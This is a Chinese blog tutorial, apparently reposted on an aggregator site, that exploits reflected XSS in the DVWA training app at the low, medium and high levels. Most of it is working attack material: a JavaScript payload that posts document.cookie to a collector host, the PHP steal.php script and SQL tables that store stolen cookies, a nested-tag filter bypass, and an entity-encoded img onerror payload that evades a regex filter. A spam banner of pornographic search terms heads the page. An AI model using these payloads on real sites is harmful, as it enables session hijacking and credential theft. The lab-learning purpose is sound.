日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

int型 判断奇偶_XSS(Reflected) 反射型跨站攻击

發布時間:2023/12/2 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 int型 判断奇偶_XSS(Reflected) 反射型跨站攻击 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

今天我學習一下反射型XSS。

1、low級別

打開DVWA網站,先切換到low級別,選擇XSS(Reflected)

先查看其源代碼:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

從上面代碼以及執行結果來看,直接把用戶輸入,也就是name變量值直接顯示在界面。試探是否存在XSS,最直接的方法是輸入payload代碼 <script>alert("xss")</script>,執行查看結果,如果能夠彈出alert對話框,則證明存在xss。

DVWA網站上,在上面提交<script>alert("xss")</script>,,出現上面提示框,則證明該網站存在xss攻擊漏洞。

利用這個XSS,我們可以獲取用戶的cookie或session,獲得后,可以構造“合法用戶”去訪問網站。首先編寫js文件,在窗口輸入中,輸入后執行這個JS文件。JS代碼如下:

document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

上面代碼主要是構造一個頁面,這個頁面做一個隱藏的form表單和隱藏域,內容是把當前網站的cookie提交表單后,提交到steal.php文件處理。在攻擊時,這個js文件和這個php文件以及數據庫是放在攻擊者自己的服務器上。這里我把他們都放在了同一個網站里,原理是相同的。

由steal.php文件完成把cookie寫入文件,steal.php文件內容如下。

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysqli_connect("localhost","root","123456");

mysqli_select_db($conn,"dvwacookie");

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysqli_query($conn,$sql);

echo "1</br>";

mysqli_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

if (mysqli_query($conn,$sql)) {

echo "scuess!";

} else {

echo "Error: " . $sql . "<br>" . mysqli_error($conn);

}

echo "2</br>".$_POST['data']."</br>";

mysqli_close();

}

else {

$sql="select * from low";

$result=mysqli_query($conn,$sql);

while($row=mysqli_fetch_array($result))

{

echo "cookie is:".$row[1]."</br>";

}

mysqli_close();

}

?>

上面代碼主要根據是get還是post,取數據函數不同。在連接數據庫后,把cookie寫入到表low中。建庫和表的SQL語句如下。

這個庫表的建立sql語句

SET FOREIGN_KEY_CHECKS=0;

DROP TABLE IF EXISTS `high`;

CREATE TABLE `high` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `low`;

CREATE TABLE `low` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `medium`;

CREATE TABLE `medium` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

在輸入窗口下,輸入下面payload進行攻擊,上面代碼中為了調試,添加打印語句,實際攻擊中,不會有內容輸出到頁面上。

<script src=http://192.168.92.129/DVWA/cookie.js></script>

相當于在瀏覽器地址欄執行下面語句:

http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>

我們在這里演示為了方便,放在了同一個域下面。實際上src可以加載遠程服務器的js。

執行完成后,看到已經插入到low表中。

如果沒有插入記錄成功,則可能是mysql設置問題,執行下面語句。

1 show variables like "sql_mode";

2 set sql_mode='';

3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

XSS攻擊方式經常是攻擊者可以將帶有執行腳本的鏈接地址偽裝后發給正在訪問某個網站(例如某銀行網銀)的受害者,受害者點擊時就會加載遠程服務器(這里是win7)的cookie.js腳本,這里要提一點,用src加載遠程服務器的js腳本,那么js的源就會變成加載它的域,從而可以讀取該域的數據。

2、Medium級別

下面是我們學習Medium級別,切換到中級,查看網站代碼:

可以看到使用str_replace函數把<script>替換為空格了。所以我們在構造js文件時,可以利用str_replace函數只能替換一次,且不區分大小寫的特點,在提交表單時,把js語句調整為<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>

上面str_replace函數是對name變量字符串進行正則替換,如果找到<script>替換為空,替換后執行的還是<script src=http://192.168.92.129/DVWA/cookie.js></script> 語句。

同時修改steal.php中的表,寫到medium表中。執行后,檢查medium表,可以查看到把cookie寫到medium表中。

3、High級別

下面學習安全級別設置為Hight的情況。設置后查看源代碼

發現添加了對大小寫繞過的判斷,而且根據正則表達式過濾,提交內容只要有script順序出現的字母都一律過濾掉,只是過濾了script標簽,但是有一些javascript事件后仍然能執行javascript代碼,構造payload。

上面preg_replace字符串替換函數中,使用的正則表達式。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6個字符,i是不區分大小寫,這些字符中間可以或前后可以有其它多個字符。

<img src=# οnerrοr=alert("xss")> 能夠執行,證明還是存在XSS攻擊。通過加載一個不存在的圖片出錯觸發javascript on error事件,繼續彈框,證明出來有xss,這樣的payload還有很多。

那么輸入下面語句試試,發現沒有得到cookie

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

分析上面語句,發現了問題,在上面語句中,發現了可以構成script,看下面我標記后的語句

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

說明把最后一個t之前的全部過濾了。

把其中一個字符使用ASCII編碼,防止出現script字符串。

可以使用轉碼網站http://www.ofmonkey.com/encode/ascii

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

則能正常執行,獲得cookie

我們再替換其中一個字符t,ASCII編碼 &#116;

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/s&#116;eal.php?data="+document.cookie)>

執行完成后,也會得到cookie。字符轉碼是在攻擊中經常使用的技術。

關注安全 關注作者

(完)

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的int型 判断奇偶_XSS(Reflected) 反射型跨站攻击的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。